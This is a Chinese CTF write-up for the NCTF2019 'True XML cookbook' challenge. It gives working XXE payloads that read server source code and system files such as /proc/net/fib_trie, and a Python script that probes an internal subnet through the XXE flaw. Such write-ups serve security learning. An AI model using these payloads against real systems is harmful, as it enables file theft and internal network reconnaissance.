[NCTF2019]True XML cookbook

TRY

尝试XML外部实体注入

xml 复制代码
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE user[
	<!ENTITY flag SYSTEM "file://./doLogin.php">
]>
<user><username>
&flag;
</username><password>1</password></user>

出现报错:

Warning : DOMDocument::loadXML(): remote host file access not supported, file://./doLogin.php in /var/www/html/doLogin.php on line 16

xml 复制代码
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE user[
	<!ENTITY flag SYSTEM "file:///var/www/html/doLogin.php">
]>
<user><username>
&flag;
</username><password>1</password></user>

使用绝对路径回显code 0,因该是引入成功了但是看不到源码。

应该是我记错了,file协议不能用相对路径,只能用绝对路径

xml 复制代码
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE user[
	<!ENTITY flag SYSTEM "php://filter/convert.base64-encode/resource=doLogin.php">
]>
<user><username>
&flag;
</username><password>1</password></user>

成功拿到源码:

php 复制代码
<?php
$USERNAME = 'admin'; 
$PASSWORD = '024b87931a03f738fff6693ce0a78c88'; 
$result = null;

libxml_disable_entity_loader(false);//允许解析外部实体
$xmlfile = file_get_contents('php://input');

try{
	$dom = new DOMDocument();
	$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
	$creds = simplexml_import_dom($dom);

	$username = $creds->username;
	$password = $creds->password;

	if($username == $USERNAME && $password == $PASSWORD){
		$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
	}else{
		$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
	}	
}catch(Exception $e){
	$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}

header('Content-Type: text/html; charset=utf-8');
echo $result;
?>

外部实体没有禁用,但是不知道flag的位置。感觉可以尝试反弹shell或者注入一句话木马。

WP

flag在内网上,考点是利用XXE进行内网探测。

/etc/hosts 是一个在类 Unix 系统(如 Linux、macOS 等)中用于本地域名解析的文本文件,它允许用户手动指定 IP 地址与域名(或主机名)的映射关系,优先级高于 DNS 服务器解析。

读取结果:

fe00::0 ip6-localnet

ff00::0 ip6-mcastprefix

ff02::1 ip6-allnodes

ff02::2 ip6-allrouters

ff02::3 ip6-allhosts

127.0.0.1 localhost

发现和题解有所不同,并没有暴露IP线索。

在 Linux 系统中,以下文件可能包含或暴露 IP 网段相关信息:

  1. /etc/hosts
    存放本地静态 IP 与主机名的映射关系,可能包含本机或局域网内的 IP 网段信息,例如局域网设备的固定 IP 配置。
  2. /etc/network/interfaces (Debian/Ubuntu 系统)或 */etc/sysconfig/network-scripts/ifcfg- **(RHEL/CentOS 系统)
    存储网络接口的配置信息,包括 IP 地址、子网掩码、网关等,直接暴露本机所在的 IP 网段。
  3. /proc/net/fib_trie - 内核维护的路由信息数据结构,包含系统当前所有已知的 IP 网段路由条目,可通过该文件分析系统可达的网络网段。
    4.** /etc/resolv.conf - 存放 DNS 服务器的 IP 地址,这些 DNS 服务器的 IP 可能属于特定网段,间接暴露网络环境的 IP 规划。
    5.
    /var/log/syslog 、 /var/log/messages ** 等系统日志文件
    日志中可能记录网络连接、服务启动等信息,包含访问过的 IP 地址或网段(如 SSH 登录记录、服务绑定的 IP 等)。
    6.** /proc/net/arp - 存放当前 ARP 缓存表,包含局域网内设备的 IP 与 MAC 地址映射,直接暴露本地局域网的 IP 网段。
    7.
    /etc/netplan/*.yaml**(现代 Ubuntu 系统)
    网络配置文件,包含 IP 地址、子网掩码、网关等信息,与 interfaces 文件作用类似,暴露本机所在网段。
  4. /proc/net/tcp 和 /proc/net/udp-记录当前系统建立的 TCP/UDP 连接信息,包含本地和远程的 IP 地址及端口,可从中提取涉及的 IP 网段。
    这些文件中,网络配置文件(如 interfaces、netplan)和路由 / 连接信息文件(如 fib_trie、arp、tcp)是暴露 IP 网段最直接的来源。

从/proc/net/fib_trie中得到:

Main:

±- 0.0.0.0/0 3 0 5

±- 0.0.0.0/4 2 0 2

|-- 0.0.0.0

/0 universe UNICAST

|-- 10.244.166.182

/32 host LOCAL

±- 127.0.0.0/8 2 0 2

±- 127.0.0.0/31 1 0 0

|-- 127.0.0.0

/8 host LOCAL

|-- 127.0.0.1

/32 host LOCAL

|-- 127.255.255.255

/32 link BROADCAST

|-- 169.254.1.1

/32 link UNICAST

Local:

±- 0.0.0.0/0 3 0 5

±- 0.0.0.0/4 2 0 2

|-- 0.0.0.0

/0 universe UNICAST

|-- 10.244.166.182

/32 host LOCAL

±- 127.0.0.0/8 2 0 2

±- 127.0.0.0/31 1 0 0

|-- 127.0.0.0

/8 host LOCAL

|-- 127.0.0.1

/32 host LOCAL

|-- 127.255.255.255

/32 link BROADCAST

|-- 169.254.1.1

/32 link UNICAST

看到暴露的一个IP:10.244.166.182

利用bp探测该网段下存活IP,因为没能设置INTRUDER的响应超时,太慢了。用脚本跑一下:

python 复制代码
import requests
from requests.exceptions import Timeout

# 目标URL
url = "http://e3917a75-39eb-4d8a-8c26-95fb7f5f9bf1.node5.buuoj.cn:81/doLogin.php"

# 请求头
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0",
    "Accept": "application/xml, text/xml, */*; q=0.01",
    "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Accept-Encoding": "gzip, deflate, br",
    "Content-Type": "application/xml;charset=utf-8",
    "X-Requested-With": "XMLHttpRequest",
    "Origin": "http://e3917a75-39eb-4d8a-8c26-95fb7f5f9bf1.node5.buuoj.cn:81",
    "Connection": "close",
    "Referer": "http://e3917a75-39eb-4d8a-8c26-95fb7f5f9bf1.node5.buuoj.cn:81/",
    "Priority": "u=0"
}

for i in range(1, 255):
    print(i)
    # 请求体数据
    data = f'<?xml version="1.0" encoding="utf-8" ?><!DOCTYPE user[<!ENTITY flag SYSTEM "http://10.244.166.{i}">]><user><username>&flag;</username><password>1</password></user>'

    try:
        # 发送POST请求
        response = requests.post(
            url,
            headers=headers,
            data=data,
            verify=False,
            timeout=1
        )
        # 检查HTTP错误状态码(4xx, 5xx)
        response.raise_for_status()

        # 打印响应结果
        print("状态码:", response.status_code)
        print("响应内容:", response.text)

    except Timeout:
        print("错误: 请求超时,服务器未在指定时间内响应")

说明存在内网10.244.166.191

总结

首先是基础的XML外部实体注入,然后利用该漏洞探测内网。绝大部分情况下expect://协议肯定是不被允许的,所以无法执行系统命令反弹shell。

相关推荐
hui函数1 天前
Flask-WTF表单验证全攻略
后端·python·flask·web·表单验证
OEC小胖胖2 天前
【React Hooks】封装的艺术:如何编写高质量的 React 自-定义 Hooks
前端·react.js·前端框架·web
练习时长两年半的Java练习生(升级中)2 天前
从0开始学习Java+AI知识点总结-18.web基础知识(Java操作数据库)
java·学习·web
诗人不说梦^3 天前
[RCTF2015]EasySQL
web·ctf
中草药z3 天前
【自动化测试】Selenium详解-WebUI自动化测试
前端·功能测试·selenium·自动化·html·web·测试
ZZHow10246 天前
JavaWeb开发_Day05
java·笔记·web
Coder_Chang6 天前
hex文件结构速查
ctf
OEC小胖胖10 天前
【CSS 布局】告别繁琐计算:CSS 现代布局技巧(gap, aspect-ratio, minmax)
前端·css·web
Code季风12 天前
深入理解 Gin 框架的路由机制:从基础使用到核心原理
ide·后端·macos·go·web·xcode·gin